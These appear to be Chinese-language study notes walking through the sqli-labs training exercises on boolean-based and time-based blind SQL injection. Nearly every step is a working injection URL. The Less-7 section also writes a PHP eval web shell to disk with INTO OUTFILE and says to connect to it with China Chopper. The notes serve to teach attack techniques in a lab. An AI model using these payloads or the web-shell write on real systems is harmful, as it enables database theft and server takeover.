盲注
基于布尔的盲注
基于布尔的盲注,就是传入注入的值,服务器那边只是返回True或者False
补充知识
left(a,b):提取a中从左往右前b个字符
select(database(),1)=‘s’:如果数据库名的第一个字符是s,则返回1
regxp:用于匹配
select user() regexp ‘r’:如果用户名前面是r,则返回1
like:跟regxp一样,只是字符串后面加%
substr(a,b,c):截取a字符串从b开始的前c个字符
ascii():返回某个字符的ascii码
SQL语句一点注意点
如果原句是
select * from table where id = ‘x’
这里x可以是1",1")等,大概原理跟上一篇的"x"情形一样,但是这里不能是 x’
Less5
如果传入的SQL语句执行正确,就会显示You are in …
这里可以利用left函数来确定相关信息,例如数据库名字
http://192.168.1.2/sqli-labs-master/Less-5/?id=1’ and left(database(),1)=‘s’–%20
证明当前数据库名的第一个字符是s
再用:
http://192.168.1.2/sqli-labs-master/Less-5/?id=1’ and left(database(),2)=‘se’–%20
仍然正常返回,证明前两个字符是se
由此往下推算下去,在这里可以用burp suite的暴力破解来达到目的。
!!!注意
当把上面的database打错成databas或者其它错误函数时,虽然会出错,但是他会直接打印出
直接能从报错中看出数据库名是security
Less7
传入
http://192.168.1.2/sqli-labs-master/Less-7/?id=%E2%80%99
报错,就有注入漏洞 !!!在双引号中写入注释符是无用的。
传入id=1,提示要写出文件
再传入
http://192.168.1.2/sqli-labs-master/Less-7/?id=1%27))%20order%20by%204–%20
提示语法错误,order by3就是正确的,证明有三个字段
下面开始文件注入
select ’ ’ into outfile ‘文件路径’
查看导出文件权限show variables like '%secure%'
如果遇到权限报错,就需要再mysql的my.ini中去添加权限
下面用payload:
http://192.168.1.2/sqli-labs-master/Less-7/?id=-1’)) union select 1,2,"<?php eval($_POST['pass']);?>" into outfile “E:\web\PHPstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7\one.php” --%20
就写入了一句话木马,用中国菜刀连接即可。
Less8
传入
http://127.0.0.1/sqli-labs-master/Less-8/?id=1
正常显示
传入id=1",id=1"),id=1’也是正常显示
但是当传入id=1’时
什么都没有显示,可以得到ID是双单引号闭合。
可以通过以下方法来获取信息
通常可以用length(database())=N:通过此函数来判断数据库的长度
substr(database(),1,1)=X:通过这个来判断数据库第一个字符
ascii(substr(database(),1,1)=N:通过N的数字来判断数据库名的第一个字符的ascii
传入
http://127.0.0.1/sqli-labs-master/Less-8/?id=1‘ and length(database()) = 8 --%20
当将8改为9
http://127.0.0.1/sqli-labs-master/Less-8/?id=1‘ and length(database()) = 9 --%20
什么都没有显示
由此证明当前数据库名是8个字符组成
基于时间的盲注
Less8
首先判断出存在注入漏洞
然后利用
http://192.168.1.2/sqli-labs-master/Less-8/?id=1’ and if(length(database())=8,1,sleep(2))–+
用sleep函数来判断数据库信息,这里判断出了数据库名的长度是8
利用
http://192.168.1.2/sqli-labs-master/Less-8/?id=1’ and if (ascii(substr(database(),1,1)) = 115,1,sleep(3))–+
来判断数据库名,这里证明数据库名的第一位是ASCII为115
以此类推下去即可。